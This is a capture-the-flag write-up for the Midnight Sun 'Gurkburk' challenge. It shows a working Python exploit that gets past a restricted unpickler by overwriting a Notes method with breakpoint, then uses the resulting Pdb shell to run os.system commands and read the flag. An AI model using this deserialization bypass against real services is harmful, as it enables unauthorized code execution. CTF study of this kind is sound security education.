Gurkburk
The flag is located in
./flag.txt
.
- Service:
nc gurkburk-01.play.midnightsunctf.se 37541
Recon
We can netcat to a service and it will give a menu. We can:
- Create "Notes"
- Save "Notes"
- Load "Notes"
The saving/loading of notes is done via pickled Python objects. This most certainly makes it vulnerable to deserialization exploits, however, the challenge author has subclassed the unpickle class which checks if you're not doing nasty things like importing arbitrary modules.
As Python is a dynamic language we can still find our ways around this.
For example, we know that the Notes
object is in scope (from observing the
the pickled data) and we can call setattr
on this Notes
object and, for example, overwrite it's member function list_notes
to something else, let's say breakpoint
.
breakpoint
in Python 3 is interesting because it stops the current execution and drops
you into a Pdb shell.
Solution
#!/usr/bin/env python
import pickle
import copy_reg
import base64
class Notes(object):
def __init__(self, name, notes):
self.name = name
self.notes = notes
def __setstate__(self, state):
self.__dict__ = state
x = Notes('blah', ['test'])
x.list_notes = __builtins__.input
xz = pickle.dumps(x)
xz = xz.replace('input', 'breakpoint')
print(base64.b64encode(xz))
We submit our string to the loading mechanism of the notes, and when we try to display the
notes (internally it will call list_notes()
, which we monkey patched), we'll get dropped into a Pdb shell, from which we can execute arbitrary Python code
without restrictions.
==> d
> /home/ctf/challenge.py(84)main()
-> continue
(Pdb) import os
(Pdb) !print(os.system('ls'))
chall
challenge.py
flag.txt
redir.sh
0
(Pdb) !print(os.system('cat flag.txt'))
midnight{d311c10u5_p1ck135_f0r_3v3ry0n3}
Flag
midnight{d311c10u5_p1ck135_f0r_3v3ry0n3}